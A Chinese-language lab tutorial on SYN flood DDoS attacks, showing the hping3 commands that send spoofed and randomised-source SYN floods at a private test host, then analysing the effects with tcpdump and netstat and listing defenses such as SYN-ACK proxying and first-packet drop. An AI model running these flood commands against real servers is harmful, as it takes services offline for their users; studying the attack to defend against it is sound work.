简介
SYN Flood是最经典的DDoS(Distributed Denial of Service)攻击之一。它利用了TCP协议的三次握手机制,攻击者通常向服务器发送海量的TCP SYN报文,服务器响应了这些报文后就会生成大量的半连接(SYN-RCVD),当系统资源被耗尽后,服务器将无法提供正常的服务。
攻击端
安装hping3发包工具
yum -y install hping3
发送一个SYN FLOOD攻击报文
- -c 指定发包个数
- --sync 指定SYN标志
- -a 指定虚假源IP地址
- -p 指定目的端口
hping3 -c 1 --syn -a 8.82.67.15 -p 22 192.168.11.89
发送海量SYN FLOOD攻击报文
- --flood 指定尽可能快的发送报文
- --sync 指定SYN标志
- --rand-source 指定源IP地址随机
- -p 指定目的端口
hping3 --flood --syn --rand-source -p 22 192.168.11.89
服务端
安装netstat连接查看工具
yum -y install net-tools
安装tcpdump抓包工具
yum -y install tcpdump
回复SYN ACK报文分析
- 客户端发送SYN报文。
- 服务端在收到客户端SYN报文后,回应SYN ACK报文。
- 服务端未收到客户端的ACK报文(因为是虚假源)。
- 服务端重传SYN ACK报文(/proc/sys/net/ipv4/tcp_synack_retries默认为5)。
tcpdump -i ens192 -envvv host 8.82.67.15 -w synflood.pcap
连接状态分析
- 通过netstat查看连接信息
- 发现有大量的连接(SYN_RECV状态)
- 服务端资源占用增高,新连接建立失败,运行卡顿等
总结
- 攻击构造简单,向服务器开放的TCP端口发送SYN报文即可。
- 攻击效果明显,利用TCP建立连接的标准过程,可轻易打满服务端半连接表。
- 攻击防护手段有源认证和首包丢弃。
- 防护设备进行SYN ACK代理回复,如果客户端不应答,则认为是虚假源。
- 防护设备进行SYN首包丢弃,如果客户端没有重传SYN,则认为是虚假源。